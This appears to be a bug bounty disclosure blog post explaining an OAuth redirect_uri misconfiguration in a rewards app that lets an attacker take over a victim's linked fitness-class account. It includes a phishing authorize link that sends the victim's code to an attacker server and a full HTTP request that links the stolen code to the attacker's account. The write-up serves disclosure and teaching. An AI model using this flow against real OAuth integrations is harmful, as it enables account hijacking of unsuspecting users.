Third Party Services Takeover using Oauth Misconfiguration

Hello Guys/Community,

Hope everything’s Fine.

Today, I am going to write about my recently fixed bug which belongs to private program. The main concept of the program is about rewards points (reward currency). This site/program contains listing of third party sites/near by services belongs fitness,traveling,rent payments,restaurants and more. User could link his account with the third party services and get the reward points on the booking or subscription through this platform.

As per above screenshot, App was allowing user to link nearby fitness class and mange/book classes of one fitness chain through app.

This link account functionality was using OAuth to get the permissions and the user account details from the fitness class website(third party site).

I would recommend below link for those who are not familiar with the oath and attack types.

OAuth 2.0 authentication vulnerabilities | Web Security Academy

However ,In our case this implementation was flawed and Oauth client was not verifying “redirect_uri” properly leads to third party (Fitness class) account Hijacking.

Below, i have illustrated how attack flow is possible:

1. Attacker sends below vulnerable link to victim through phishing or any other medium and induce victim to initiate the OAuth flow

"https://www.Thirdpartywebsite.com/oauth/authorize/?client_id=com.thirdpaty.app.rewards&redirect_uri=Attackerserver&scope=&response_type=code&response_mode=query&state=a2fd91ef-b95d-4cfd-97ad-d118e30487b3"

Where redirect_uri is attacker controlled server.

2. As per below image OAuth implementation accepts attacker supplied url and set the redirect-uri attacker supplied url.

3. Once victim finish the OAuth flow as per the screenshot below victim’s OAuth code would be received at attacker server/attacker supplied redirect-uri website.

4. Attacker logs in to his Reward App account(Private program),intercepts any api request and replace with the below request

PUT /fitnessapp/link-account HTTP/2
Host: api.privateprogram.com
Content-Length: 159
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer your attacker account auth token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin:
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{"authorizationCode":"victim's auth code captured in step3","redirectUri":"https://attacker server"}

As per the screenshots below upon forwarding above request attacker was able to link victim’s third party(fitness class) account with his reward platform(private porgram) account.

Now attacker could view and manage fitness class bookings behalf of victim.

Thanks for reading and hope this was worth to spend your precious time reading :-)